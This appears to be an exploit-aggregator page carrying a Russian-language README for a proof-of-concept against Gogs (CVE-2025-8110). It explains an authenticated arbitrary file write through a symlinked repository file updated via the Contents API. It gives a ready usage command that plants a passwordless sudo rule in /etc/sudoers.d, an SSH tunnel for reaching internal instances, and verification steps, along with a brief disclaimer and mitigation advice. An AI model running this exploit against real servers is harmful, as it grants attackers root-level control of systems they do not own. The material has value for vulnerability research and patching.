Sploitus

Exploit for CVE-2025-8110-gogs-poc

kitploit · 2026-08-31

Exploit Code

MARKDOWN87 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHIROUUU-CVE-2025-8110-GOGS-POC
# CVE-2025-8110 — Gogs: Произвольная запись файлов (PoC)

Доказательство концепции для аутентифицированной произвольной записи файлов в Gogs. Отправляя репозиторий, содержащий символическую ссылку, указывающую за пределы репозитория, а затем обновляя содержимое этой ссылки через API, аутентифицированный пользователь может перезаписывать файлы на хосте с привилегиями учетной записи, под которой работает Gogs.

> **Только авторизованное тестирование и обучение.** Запускайте это только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Вы несете ответственность за то, как вы это используете.

## Как это работает

  1. Аутентифицируйтесь в Gogs с существующей учетной записью.
  2. Сгенерируйте токен приложения (API) в настройках пользователя.
  3. Создайте репозиторий.
  4. Добавьте символическую ссылку (`malicious_link -> /path/on/host`) и отправьте её.
  5. Отправьте `PUT`-запрос к Contents API для обновления `malicious_link`. Gogs следует по символической ссылке и записывает предоставленное содержимое в целевой путь — со своими привилегиями. Если Gogs работает от root, это является прямым примитивом повышения привилегий (например, добавление правила в `/etc/sudoers.d/`).



Именно `PUT`-запрос API запускает запись; отправка репозитория только размещает символическую ссылку.

## Требования

  * Python 3.8+
  * `git` доступен в PATH
  * Существующая учетная запись Gogs (регистрация может быть отключена на цели)



root@kitploit:~
    
    
    pip install -r requirements.txt
    

## Использование

root@kitploit:~
    
    
    python3 exploit.py \
        -u http://127.0.0.1:3000 \
        --user <username> \
        --password '<password>' \
        --target /etc/sudoers.d/pwned \
        --payload '<username> ALL=(ALL) NOPASSWD: ALL'
    

Опустите `--password`, чтобы безопасно ввести пароль по запросу вместо передачи его в командной строке.

### Доступ к внутреннему экземпляру Gogs

Gogs часто привязан к localhost на цели. Используйте SSH-перенаправление локального порта, чтобы открыть доступ к нему с вашей машины (настройте порты в соответствии с целью):

root@kitploit:~
    
    
    ssh -L 3000:127.0.0.1:3000 user@target
    # затем направить эксплойт на http://127.0.0.1:3000
    

### Проверка записи

После успешного запуска проверьте на хосте (от имени соответствующего пользователя):

root@kitploit:~
    
    
    cat /etc/sudoers.d/pwned
    sudo -l
    

Если вы записали правило sudoers, учтите, что файлы в `/etc/sudoers.d/` должны быть корректными и иметь соответствующие права доступа, чтобы `sudo` их учитывал.

## Примечания / устранение неполадок

  * **`auto_init` возвращает HTTP 500** — скрипт откатывается к созданию пустого репозитория и его наполнению с помощью локального `git init` \+ push.
  * **Push отклонён (non-fast-forward)** — скрипт согласует изменения с удалённым репозиторием и повторяет попытку; также обрабатывает `master` и `main`.
  * **CSRF-токен не найден** — обычно означает, что цель/порт указаны неверно (вы обращаетесь к другому сервису) или сессия не аутентифицирована.



## Смягчение

Обновитесь до версии Gogs, которая проверяет символические ссылки в Contents API. В качестве защиты в глубину не запускайте Gogs от root и изолируйте хранилище репозиториев.

## Лицензия

MIT — см. `LICENSE`.